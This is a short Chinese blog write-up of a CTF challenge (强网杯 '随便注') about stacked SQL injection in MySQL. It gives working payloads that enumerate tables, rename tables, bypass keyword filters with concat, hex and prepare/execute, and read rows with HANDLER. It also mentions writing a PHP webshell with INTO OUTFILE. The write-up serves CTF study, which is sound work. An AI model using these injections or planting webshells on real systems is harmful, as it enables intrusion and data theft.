写这篇博客是因为碰到了一道强网杯随便注的强化版,在这里分享一下总结。
开始的手法一样:通过堆叠注入的常规方法一路show到底可以得到库名表名字段名。 show databases;show tables;show columns from “表名”;
对于限制较小的随便注: 0x01 重命名通过将`919810931114514`表改成words表,将该表中的flag改为id,使得一开始的查询语句由 select id from words where id=‘’ 变成 select flag from `1919810931114514` where flag=’’ 从而查询出flag payload: 1';rename table `words` to `a`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
接着直接 1’ or 1=1# 即可查询出flag。
因为 set后面是字符串所以我们可以用拼接或者十六进制的方式绕过过滤。
payload:1'; Set @a=concat("sele","ct flag from `1919810931114514`");prepare h from @a;execute h;
或者 1'; Set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare h from @a;execute h;
介于0x02的方法上,我们还可以深入些,比如写入木马,只需要将 @a后面的字符串修改下即可,比如 @a=select “” into outfile"/var/www/html/1.php",当然我们不可能直接这么写,需要转成16进制。我们也可以,当然我们更能自己写一个查询语句,不过这样做有些多此一举。
那么如果这道题增加了过滤( select,set,prepare,rename)怎么办呢? 0x04 handler介绍一下这个函数,有类似于select的功能,更强大的是,他可以在不知道字段名的前提下查询出字段的值。 payload:1';handler `1919810931114514` open as aaa;handler aaa read first;
其中的aaa为我们自己定义的名字,first为读第一行数据,与他并列的还有next(读取下一行);